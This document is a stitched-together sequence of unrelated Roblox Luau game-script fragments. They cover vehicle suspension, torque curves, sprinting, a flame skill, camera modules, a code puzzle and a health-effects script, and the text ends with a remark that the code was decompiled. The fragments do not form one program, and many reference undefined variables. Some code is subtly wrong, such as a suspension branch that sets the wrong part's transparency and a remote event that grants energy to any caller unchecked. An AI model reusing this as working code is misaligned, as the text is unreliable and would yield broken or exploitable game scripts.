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-- Remote Events -- Used by both client and server to replicate projectiles to opposite contexts
local RE_CreateProjectile = ReplicatedStorage.RemoteEvents.CreateProjectile local RE_CreateThrowable = ReplicatedStorage.RemoteEvents.CreateThrowable
--Suspension Bases
local fbaseA = bike.FrontSection.TripleTreeHinge:Clone() fbaseA.Parent = bike.FrontSection fbaseA.Name = "FrontSuspensionBase" if _Tune.FBricksVisible or _Tune.Debug then fbaseA.Transparency = .75 else fbaseA.Transparency = 1 end fbaseA.Orientation = bike.FrontSection.TripleTreeHinge.Orientation fbaseA.CFrame = fbaseA.CFrame+(Vector3.new(_Tune.FBaseOffset[1],_Tune.FBaseOffset[1],_Tune.FBaseOffset[1])*fbaseA.CFrame.rightVector) fbaseA.CFrame = fbaseA.CFrame+(Vector3.new(_Tune.FBaseOffset[2],_Tune.FBaseOffset[2],_Tune.FBaseOffset[2])*fbaseA.CFrame.upVector) fbaseA.CFrame = fbaseA.CFrame+(Vector3.new(_Tune.FBaseOffset[3],_Tune.FBaseOffset[3],_Tune.FBaseOffset[3])*fbaseA.CFrame.lookVector) local fbaseB = axle2:Clone() fbaseB.Parent = bike.FrontSection fbaseB.Name = "FrontSuspensionAxle" if _Tune.FBricksVisible or _Tune.Debug then fbaseB.Transparency = .75 else fbaseA.Transparency = 1 end fbaseB.Orientation = bike.FrontSection.TripleTreeHinge.Orientation fbaseB.CFrame = fbaseB.CFrame+(Vector3.new(_Tune.FAxleOffset[1],_Tune.FAxleOffset[1],_Tune.FAxleOffset[1])*fbaseB.CFrame.rightVector) fbaseB.CFrame = fbaseB.CFrame+(Vector3.new(_Tune.FAxleOffset[2],_Tune.FAxleOffset[2],_Tune.FAxleOffset[2])*fbaseB.CFrame.upVector) fbaseB.CFrame = fbaseB.CFrame+(Vector3.new(_Tune.FAxleOffset[3],_Tune.FAxleOffset[3],_Tune.FAxleOffset[3])*fbaseB.CFrame.lookVector) fbaseB.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0.1,0.1) local faxlea = Instance.new("Attachment", fbaseA) local fwheela = Instance.new("Attachment", fbaseB) local rbase = axle:Clone() rbase.Parent = bike.Body rbase.Name = "RearSuspensionBase" if _Tune.RBricksVisible or _Tune.Debug then rbase.Transparency = .75 else rbase.Transparency = 1 end rbase.Orientation = bike.RearSection.RearSwingArmHinge.Orientation rbase.CFrame = rbase.CFrame+(Vector3.new(_Tune.RBaseOffset[1],_Tune.RBaseOffset[1],_Tune.RBaseOffset[1])*rbase.CFrame.rightVector) rbase.CFrame = rbase.CFrame+(Vector3.new(_Tune.RBaseOffset[2],_Tune.RBaseOffset[2],_Tune.RBaseOffset[2])*rbase.CFrame.upVector) rbase.CFrame = rbase.CFrame+(Vector3.new(_Tune.RBaseOffset[3],_Tune.RBaseOffset[3],_Tune.RBaseOffset[3])*rbase.CFrame.lookVector) local raxlea = Instance.new("Attachment", axle) local rwheela = Instance.new("Attachment", rWheel) local rhinge = Instance.new("HingeConstraint", axle) rhinge.Attachment0 = raxlea rhinge.Attachment1 = rwheela rhinge.ActuatorType = "Motor" rhinge.MotorMaxAcceleration = 9e9 local rbaseattch = Instance.new("Attachment", rbase) local rshock = Instance.new("SpringConstraint", rbase) rshock.Attachment0 = raxlea rshock.Attachment1 = rbaseattch rshock.Visible = _Tune.RConstsVisible or _Tune.Debug rshock.LimitsEnabled = true rshock.Damping = _Tune.RSusDamping rshock.Stiffness = _Tune.RSusStiffness rshock.FreeLength = _Tune.RSusLength+_Tune.RPreComp rshock.MaxLength = _Tune.RSusLength+_Tune.RExtLimit rshock.MinLength = _Tune.RSusLength-_Tune.RCompLimit local fshock = Instance.new("SpringConstraint", fbaseA) fshock.Attachment0 = fwheela fshock.Attachment1 = faxlea fshock.Visible = _Tune.FConstsVisible or _Tune.Debug fshock.LimitsEnabled = true fshock.Damping = _Tune.FSusDamping fshock.Stiffness = _Tune.FSusStiffness fshock.FreeLength = _Tune.FSusLength+_Tune.FPreComp fshock.MaxLength = _Tune.FSusLength+_Tune.FExtLimit fshock.MinLength = _Tune.FSusLength-_Tune.FCompLimit local fpris = Instance.new("PrismaticConstraint", fbaseA) fpris.Attachment0 = faxlea fpris.Attachment1 = fwheela fpris.Visible = _Tune.FConstsVisible or _Tune.Debug fpris.LimitsEnabled = true fpris.UpperLimit = _Tune.FSusLength+_Tune.FExtLimit fpris.LowerLimit = _Tune.FSusLength-_Tune.FCompLimit local faxleb = Instance.new("Attachment", axle2) local fwheelb = Instance.new("Attachment", fWheel) local fhinge = Instance.new("HingeConstraint", axle2) fhinge.Attachment0 = faxleb fhinge.Attachment1 = fwheelb fhinge.ActuatorType = "Motor" fhinge.MotorMaxAcceleration = 9e9
--[=[ Short hand to register an event from the instance ```lua Blend.mount(workspace, { [Blend.OnEvent "ChildAdded"] = function(child) print("Child added", child) end; }) local folder = Instance.new("Folder") folder.Name = "Hi" folder.Parent = workspace --> prints "Child added Hi" ``` @param eventName string @return (instance: Instance) -> Observable ]=]
function Blend.OnEvent(eventName) assert(type(eventName) == "string", "Bad eventName") return function(instance) return Rx.fromSignal(instance[eventName]) end end
--Output Cache
local NCache = {} local ECache = {} local TCache = {} local SCache = {} for gear,ratio in pairs(_Tune.Ratios) do local nhpPlot = {} local ehpPlot = {} local thpPlot = {} local shpPlot = {} for rpm = 0, math.ceil((_Tune.Redline+100)/100) do local ntqPlot = {} local etqPlot = {} local ttqPlot = {} local stqPlot = {} if rpm~=0 then if _Tune.Engine then ntqPlot.Horsepower,ntqPlot.Torque = GetNCurve(rpm*100,gear-2) if _TCount~=0 then ttqPlot.Horsepower,ttqPlot.Torque = GetTCurve(rpm*100,gear-2) else ttqPlot.Horsepower,ttqPlot.Torque = 0,0 end if _SCount~=0 then stqPlot.Horsepower,stqPlot.Torque = GetSCurve(rpm*100,gear-2) else stqPlot.Horsepower,stqPlot.Torque = 0,0 end else ntqPlot.Horsepower,ntqPlot.Torque = 0,0 ttqPlot.Horsepower,ttqPlot.Torque = 0,0 stqPlot.Horsepower,stqPlot.Torque = 0,0 end if _Tune.Electric then etqPlot.Horsepower,etqPlot.Torque = GetECurve(rpm*100,gear-2) else etqPlot.Horsepower,etqPlot.Torque = 0,0 end else ntqPlot.Horsepower,ntqPlot.Torque = 0,0 etqPlot.Horsepower,etqPlot.Torque = 0,0 ttqPlot.Horsepower,ttqPlot.Torque = 0,0 stqPlot.Horsepower,stqPlot.Torque = 0,0 end if _Tune.Engine then nhp,ntq = GetNCurve((rpm+1)*100,gear-2) if _TCount~=0 then thp,ttq = GetTCurve((rpm+1)*100,gear-2) else thp,ttq = 0,0 end if _SCount~=0 then shp,stq = GetSCurve((rpm+1)*100,gear-2) else shp,stq = 0,0 end else nhp,ntq = 0,0 thp,ttq = 0,0 shp,stq = 0,0 end if _Tune.Electric then ehp,etq = GetECurve((rpm+1)*100,gear-2) else ehp,etq = 0,0 end ntqPlot.HpSlope,ntqPlot.TqSlope = (nhp-ntqPlot.Horsepower),(ntq-ntqPlot.Torque) etqPlot.HpSlope,etqPlot.TqSlope = (ehp-etqPlot.Horsepower),(etq-etqPlot.Torque) ttqPlot.HpSlope,ttqPlot.TqSlope = (thp-ttqPlot.Horsepower),(ttq-ttqPlot.Torque) stqPlot.HpSlope,stqPlot.TqSlope = (shp-stqPlot.Horsepower),(stq-stqPlot.Torque) nhpPlot[rpm] = ntqPlot ehpPlot[rpm] = etqPlot thpPlot[rpm] = ttqPlot shpPlot[rpm] = stqPlot end table.insert(NCache,nhpPlot) table.insert(ECache,ehpPlot) table.insert(TCache,thpPlot) table.insert(SCache,shpPlot) end
--------------------[ SPRINTING FUNCTIONS ]-------------------------------------------
function MonitorStamina() while Run_Key_Pressed do if (not Aimed) and (not Aiming) then break end RS:wait() end while Run_Key_Pressed and (not Aiming) and (not Aimed) and (not Knifing) and (not ThrowingGrenade) do local Forward = (Keys["w"] or Keys[string.char(17)]) local Backward = (Keys["s"] or Keys[string.char(18)]) if (Forward and (not Backward)) and Walking and (Stamina > 0) then if Stance == 1 or Stance == 2 then Stand() end local NewStamina = Stamina - 1 Stamina = (NewStamina < 0 and 0 or NewStamina) Running = true elseif (not (Forward and (not Backward))) or (not Walking) or (Stamina == 0) then break end RS:wait() end Running = false RechargeStamina() end function RechargeStamina() ChargingStamina = true while ((not Run_Key_Pressed) or (Stamina < MaxStamina)) and (not Running) do if Stamina < MaxStamina then local NewStamina = Stamina + (S.SprintTime / S.StaminaCoolTime) Stamina = (NewStamina > MaxStamina and MaxStamina or NewStamina) elseif Stamina >= MaxStamina then break end RS:wait() end ChargingStamina = false end
--[[script.Parent.OnServerEvent:Connect(function(plr) local char = plr.Character local Effect = game.ReplicatedStorage.FlameSkill.SkillV local Weld = Instance.new("Weld") Weld.Parent = char.Head Weld.Part0 = char.HumanoidRootPart local FX = Effect:Clone() FX.Parent = char.Head Weld.Part1 = char.Head.SkillV Weld.C1 = CFrame.new (0, -30, 0) end)]]
script.Parent.OnServerEvent:Connect(function(plr) local char = plr.Character local Effect = game.ReplicatedStorage.FlameSkill.SkillV local FX = Effect:Clone() local energy = plr.Hamon --local FX = game.ReplicatedStorage.FlameSkill.SkillV:Clone() FX.Parent = char.Head FX.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(0, 60, 0) FX.Anchored = true local Effect2 = game.ReplicatedStorage.FlameSkill.FlameV local FX2 = Effect2:Clone() if char.Humanoid.FloorMaterial == "Plastic" then FX2.Transparency = 0 end FX2.Parent = char.Head FX2.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(0, -10, 0) FX2.Anchored = true --FX2.Script.Disabled = false energy.Value = energy.Value + 100 --FX.Script.Disabled = false end)
--//Weight//--
VehicleWeight = 1300 --{Weight of vehicle in KG} WeightDistribution = 40 --{To the rear}
-- Note: The active transparency controller could be made to listen for this event itself.
function CameraModule:OnCameraSubjectChanged() if self.activeTransparencyController then self.activeTransparencyController:SetSubject(game.Workspace.CurrentCamera.CameraSubject) end if self.activeOcclusionModule then self.activeOcclusionModule:OnCameraSubjectChanged(game.Workspace.CurrentCamera.CameraSubject) end end function CameraModule:OnCameraTypeChanged(newCameraType) if newCameraType == Enum.CameraType.Scriptable then if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end -- Forward the change to ActivateCameraController to handle self:ActivateCameraController(nil, newCameraType) end
--Numbers
local Num1 = script.Parent.Code1Fake.CodeSet.Value local Num2 = script.Parent.Code2Fake.CodeSet.Value local Num3 = script.Parent.Code3Fake.CodeSet.Value local FNum1 = script.Parent.Code1Fake.MainCode.NumberGUI.TextLabel local FNum2 = script.Parent.Code2Fake.MainCode.NumberGUI.TextLabel local FNum3 = script.Parent.Code3Fake.MainCode.NumberGUI.TextLabel local Code = script.Parent.Code local EnteredCode = script.Parent.EnteredCode local Ready = script.Parent.Ready Num1 = math.random(1,4) Num2 = math.random(1,4) Num3 = math.random(1,4) if Num1 == 1 then FNum1.Text = "I" elseif Num1 == 2 then FNum1.Text = "II" elseif Num1 == 3 then FNum1.Text = "III" elseif Num1 == 4 then FNum1.Text = "IV" end if Num2 == 1 then FNum2.Text = "I" elseif Num2 == 2 then FNum2.Text = "II" elseif Num2 == 3 then FNum2.Text = "III" elseif Num2 == 4 then FNum2.Text = "IV" end if Num3 == 1 then FNum3.Text = "I" elseif Num3 == 2 then FNum3.Text = "II" elseif Num3 == 3 then FNum3.Text = "III" elseif Num3 == 4 then FNum3.Text = "IV" end Code.Value = tostring(Num1)..""..tostring(Num2)..""..tostring(Num3) Ready = true
--- Skill
repeat wait() until game.Players.LocalPlayer.Character local plr = game.Players.LocalPlayer local char = plr.Character local hum = char:WaitForChild("Humanoid") local Torso = char:WaitForChild("LowerTorso") local Mouse = plr:GetMouse() local toggle = false local Debounce = true Mouse.KeyDown:Connect(function(key) if key == "f" and Tool.Equip.Value == true and Tool.Active.Value == "None" or Tool.Active.Value == "SunaFlight" then if toggle == false and Debounce == true then toggle = true local Anim = Instance.new("Animation") Anim.AnimationId = "rbxassetid://4865646330" local PlayAnim = hum:LoadAnimation(Anim) PlayAnim:Play() Debounce = false Tool.Active.Value = "SunaFlight" script.Fire:FireServer(plr) local BV = Instance.new("BodyVelocity",Torso) BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge) while toggle == true do wait() plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Vector3.new(Mouse.Hit.p.x,plr.Character.HumanoidRootPart.Position.y,Mouse.Hit.p.z)) BV.Velocity = Mouse.Hit.lookVector * 110 end end if toggle == true and Debounce == false then toggle = false Tool.Active.Value = "None" script.UnFire:FireServer(plr) Torso:FindFirstChildOfClass("BodyVelocity"):Destroy() local tracks = hum:GetPlayingAnimationTracks() for i, stoptracks in pairs(tracks) do stoptracks:Stop() end local Anim = Instance.new("Animation") Anim.AnimationId = "http://www.roblox.com/asset/?id=507767968" local PlayAnim = hum:LoadAnimation(Anim) PlayAnim:Play() wait(3.5) Debounce = true end end end)
-- Function to bind to reload event
local function reload(player) if not reloading and currentAmmo < clipSize and tool.Equipped then tool.Handle.ReloadSound:Play() reloading = true canFire = false if infiniteAmmo then -- dealing with infinite ammo shotEvent:FireClient(player, "--", clipSize) wait(reloadTime) currentAmmo = clipSize shotEvent:FireClient(player, currentAmmo, clipSize) elseif consolidateAmmo then -- dealing with limited ammo that saves what's in your current clip remainingAmmo = currentAmmo shotEvent:FireClient(player, "--", ammoLeft) wait(reloadTime) currentAmmo = math.min(clipSize, (ammoLeft + remainingAmmo)) ammoLeft = (ammoLeft + remainingAmmo) - math.min(clipSize, (ammoLeft + remainingAmmo)) shotEvent:FireClient(player, currentAmmo, ammoLeft) else -- dealing with limited ammo where you throw away any ammo remaining in your clip when you reload shotEvent:FireClient(player, "--", ammoLeft) wait(reloadTime) currentAmmo = math.min(clipSize, ammoLeft) ammoLeft = ammoLeft - math.min(clipSize, ammoLeft) shotEvent:FireClient(player, currentAmmo, ammoLeft) end canFire = true reloading = false end end
-- padding between each entry
local ENTRY_MARGIN = 1 local Input = game:GetService("UserInputService") local HoldingCtrl = false local HoldingShift = false
--SKP_7:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
SKP_7.HealthChanged:Connect(function(Health) if Health < SKP_20 and Health < SKP_7.MaxHealth/2 then local Hurt = ((Health/SKP_20) - 1) * -1 local SKP_22 = script.FX.Blur:clone() SKP_22.Parent = game.Workspace.CurrentCamera local SKP_23 = script.FX.ColorCorrection:clone() SKP_23.Parent = game.Workspace.CurrentCamera SKP_22.Size = ((Health/SKP_7.MaxHealth/2) - 1) * -35 SKP_23.TintColor = Color3.new(1,((Health/2) /SKP_20),((Health/2)/SKP_20)) SKP_10:Create(SKP_22,TweenInfo.new(3 * Hurt,Enum.EasingStyle.Sine,Enum.EasingDirection.Out,0,false,0),{Size = 0}):Play() SKP_10:Create(SKP_23,TweenInfo.new(3 * Hurt,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{TintColor = Color3.new(1,1,1)}):Play() SKP_11:AddItem(SKP_22, 3 * Hurt) SKP_11:AddItem(SKP_23, 3 * Hurt) end SKP_20 = Health end) local SKP_24 = false SKP_18.Changed:Connect(function(Valor) end) SKP_17.Changed:Connect(function(Valor) if Valor >= SKP_17.MaxValue/2 then SKP_12.Saturation = math.max(-1,(Valor - (SKP_17.MaxValue/2)) / (SKP_17.MaxValue/2)-1) end end) SKP_HC.Changed:Connect(function(Valor) if Valor >= 3 then SKP_4.Render:FireServer(true,"N/A") end end) SKP_15:GetAttributeChangedSignal("Collapsed"):Connect(function() local Valor = SKP_15:GetAttribute("Collapsed") if Valor == true then SKP_13.Brightness = -10 else SKP_13.Brightness = 0 end end) SKP_7.Died:Connect(function() Morto = true SKP_7.AutoRotate = false SKP_13.TintColor = Color3.new(1,1,1) --SKP_13.Brightness = 0 SKP_12.Saturation = 0 SKP_12.Contrast = 0 SKP_14.Size = 0 SKP_12.Saturation = 0 SKP_12.Contrast = 0 SKP_15.Variaveis.Dor.Value = 0 for _,Child in pairs(SKP_2.Character:GetChildren()) do if Child:IsA("MeshPart") or Child:IsA("Part") then Child.LocalTransparencyModifier = 0 end end if SKP_19 == true then Tween = SKP_10:Create(SKP_13,TweenInfo.new(game.Players.RespawnTime/1.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Brightness = 0, Contrast = 0,TintColor = Color3.new(0,0,0)}):Play() end end) local SKP_25 = script.Parent.Parent.Humanoid local SKP_26 = game.ReplicatedStorage.ACS_Engine.Events.MedSys.Collapse function onChanged() if (SKP_17.Value <= 3500) or (SKP_18.Value >= 200) or SKP_15:GetAttribute("Collapsed") then SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false) SKP_25:UnequipTools() SKP_26:FireServer() elseif (SKP_17.Value > 3500) and (SKP_18.Value < 200) and not SKP_15:GetAttribute("Collapsed") then -- YAY A MEDIC ARRIVED! =D SKP_26:FireServer() if not SKP_15:GetAttribute("Surrender") then SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true) end end end onChanged() SKP_17.Changed:Connect(onChanged) SKP_18.Changed:Connect(onChanged) SKP_15:GetAttributeChangedSignal("Surrender"):Connect(function() local Valor = SKP_15:GetAttribute("Surrender") if Valor == true then SKP_25:UnequipTools() SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false) else SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true) end end) local RS = game:GetService("RunService") RS.RenderStepped:connect(function(Update) if Morto and SKP_2.Character and SKP_2.Character:FindFirstChild("Head") ~= nil then game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable game.Workspace.CurrentCamera.CFrame = SKP_2.Character.Head.CFrame end end) while true do SKP_10:Create(SKP_14,TweenInfo.new(2.5,Enum.EasingStyle.Elastic,Enum.EasingDirection.Out,0,false,2.5),{Size = (SKP_15.Variaveis.Dor.Value/200) * 25}):Play() wait(5) SKP_10:Create(SKP_14,TweenInfo.new(1,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{Size = 0}):Play() wait(2.5) end
--[[ The Module ]]
-- local BaseCamera = {} BaseCamera.__index = BaseCamera function BaseCamera.new() local self = setmetatable({}, BaseCamera) -- So that derived classes have access to this self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD self.cameraType = nil self.cameraMovementMode = nil self.lastCameraTransform = nil self.lastUserPanCamera = tick() self.humanoidRootPart = nil self.humanoidCache = {} -- Subject and position on last update call self.lastSubject = nil self.lastSubjectPosition = Vector3.new(0, 5, 0) self.lastSubjectCFrame = CFrame.new(self.lastSubjectPosition) -- These subject distance members refer to the nominal camera-to-subject follow distance that the camera -- is trying to maintain, not the actual measured value. -- The default is updated when screen orientation or the min/max distances change, -- to be sure the default is always in range and appropriate for the orientation. self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.inFirstPerson = false self.inMouseLockedMode = false self.portraitMode = false self.isSmallTouchScreen = false -- Used by modules which want to reset the camera angle on respawn. self.resetCameraAngle = true self.enabled = false -- Input Event Connections self.PlayerGui = nil self.cameraChangedConn = nil self.viewportSizeChangedConn = nil -- VR Support self.shouldUseVRRotation = false self.VRRotationIntensityAvailable = false self.lastVRRotationIntensityCheckTime = 0 self.lastVRRotationTime = 0 self.vrRotateKeyCooldown = {} self.cameraTranslationConstraints = Vector3.new(1, 1, 1) self.humanoidJumpOrigin = nil self.trackingHumanoid = nil self.cameraFrozen = false self.subjectStateChangedConn = nil self.gamepadZoomPressConnection = nil -- Mouse locked formerly known as shift lock mode self.mouseLockOffset = ZERO_VECTOR3 -- Initialization things used to always execute at game load time, but now these camera modules are instantiated -- when needed, so the code here may run well after the start of the game if player.Character then self:OnCharacterAdded(player.Character) end player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:OnCurrentCameraChanged() end) self:OnCurrentCameraChanged() if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnDevTouchMovementModeChanged() end) self:OnDevTouchMovementModeChanged() -- Init if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnGameSettingsTouchMovementModeChanged() end) self:OnGameSettingsTouchMovementModeChanged() -- Init UserGameSettings:SetCameraYInvertVisible() UserGameSettings:SetGamepadCameraSensitivityVisible() self.hasGameLoaded = game:IsLoaded() if not self.hasGameLoaded then self.gameLoadedConn = game.Loaded:Connect(function() self.hasGameLoaded = true self.gameLoadedConn:Disconnect() self.gameLoadedConn = nil end) end self:OnPlayerCameraPropertyChange() return self end function BaseCamera:GetModuleName() return "BaseCamera" end function BaseCamera:OnCharacterAdded(char) self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled() self.humanoidRootPart = nil if UserInputService.TouchEnabled then self.PlayerGui = player:WaitForChild("PlayerGui") for _, child in ipairs(char:GetChildren()) do if child:IsA("Tool") then self.isAToolEquipped = true end end char.ChildAdded:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = true end end) char.ChildRemoved:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = false end end) end end function BaseCamera:GetHumanoidRootPart(): BasePart if not self.humanoidRootPart then if player.Character then local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidRootPart = humanoid.RootPart end end end return self.humanoidRootPart end function BaseCamera:GetBodyPartToFollow(humanoid: Humanoid, isDead: boolean) -- BasePart -- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid if humanoid:GetState() == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character and character:IsA("Model") then return character:FindFirstChild("Head") or humanoid.RootPart end end return humanoid.RootPart end function BaseCamera:GetSubjectCFrame(): CFrame local result = self.lastSubjectCFrame local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return result end if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead if (VRService.VREnabled and not FFlagUserFlagEnableNewVRSystem) and humanoidIsDead and humanoid == self.lastSubject then result = self.lastSubjectCFrame else local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET local rootPart = humanoid.RootPart if bodyPartToFollow == rootPart then local rootPartSizeOffset = (rootPart.Size.Y - HUMANOID_ROOT_PART_SIZE.Y)/2 heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = ZERO_VECTOR3 end result = bodyPartToFollow.CFrame*CFrame.new(heightOffset + humanoid.CameraOffset) end end elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame elseif cameraSubject:IsA("Model") then -- Model subjects are expected to have a PrimaryPart to determine orientation if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame() else result = CFrame.new() end end if result then self.lastSubjectCFrame = result end return result end function BaseCamera:GetSubjectVelocity(): Vector3 local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return ZERO_VECTOR3 end if cameraSubject:IsA("BasePart") then return cameraSubject.Velocity elseif cameraSubject:IsA("Humanoid") then local rootPart = cameraSubject.RootPart if rootPart then return rootPart.Velocity end elseif cameraSubject:IsA("Model") then local primaryPart = cameraSubject.PrimaryPart if primaryPart then return primaryPart.Velocity end end return ZERO_VECTOR3 end function BaseCamera:GetSubjectRotVelocity(): Vector3 local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return ZERO_VECTOR3 end if cameraSubject:IsA("BasePart") then return cameraSubject.RotVelocity elseif cameraSubject:IsA("Humanoid") then local rootPart = cameraSubject.RootPart if rootPart then return rootPart.RotVelocity end elseif cameraSubject:IsA("Model") then local primaryPart = cameraSubject.PrimaryPart if primaryPart then return primaryPart.RotVelocity end end return ZERO_VECTOR3 end function BaseCamera:StepZoom() local zoom: number = self.currentSubjectDistance local zoomDelta: number = CameraInput.getZoomDelta() if math.abs(zoomDelta) > 0 then local newZoom if zoomDelta > 0 then newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE) newZoom = math.max(newZoom, self.FIRST_PERSON_DISTANCE_THRESHOLD) else newZoom = (zoom + zoomDelta)/(1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE) newZoom = math.max(newZoom, FIRST_PERSON_DISTANCE_MIN) end if newZoom < self.FIRST_PERSON_DISTANCE_THRESHOLD then newZoom = FIRST_PERSON_DISTANCE_MIN end self:SetCameraToSubjectDistance(newZoom) end return ZoomController.GetZoomRadius() end function BaseCamera:GetSubjectPosition(): Vector3 local result = self.lastSubjectPosition local camera = game.Workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead if (VRService.VREnabled and not FFlagUserFlagEnableNewVRSystem) and humanoidIsDead and humanoid == self.lastSubject then result = self.lastSubjectPosition else local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET if bodyPartToFollow == humanoid.RootPart then local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2) heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = ZERO_VECTOR3 end result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset) end end elseif cameraSubject:IsA("VehicleSeat") then local offset = SEAT_OFFSET if VRService.VREnabled and not FFlagUserFlagEnableNewVRSystem then offset = VR_SEAT_OFFSET end result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA("SkateboardPlatform") then result = cameraSubject.CFrame.p + SEAT_OFFSET elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame.p elseif cameraSubject:IsA("Model") then if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame().p else result = cameraSubject:GetModelCFrame().p end end else -- cameraSubject is nil -- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition -- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the -- last set valid values for these, as nil values are not handled cases return end self.lastSubject = cameraSubject self.lastSubjectPosition = result return result end function BaseCamera:UpdateDefaultSubjectDistance() if self.portraitMode then self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) else self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) end end function BaseCamera:OnViewportSizeChanged() local camera = game.Workspace.CurrentCamera local size = camera.ViewportSize self.portraitMode = size.X < size.Y self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700) self:UpdateDefaultSubjectDistance() end
-- Decompiled with the Synapse X Luau decompiler.
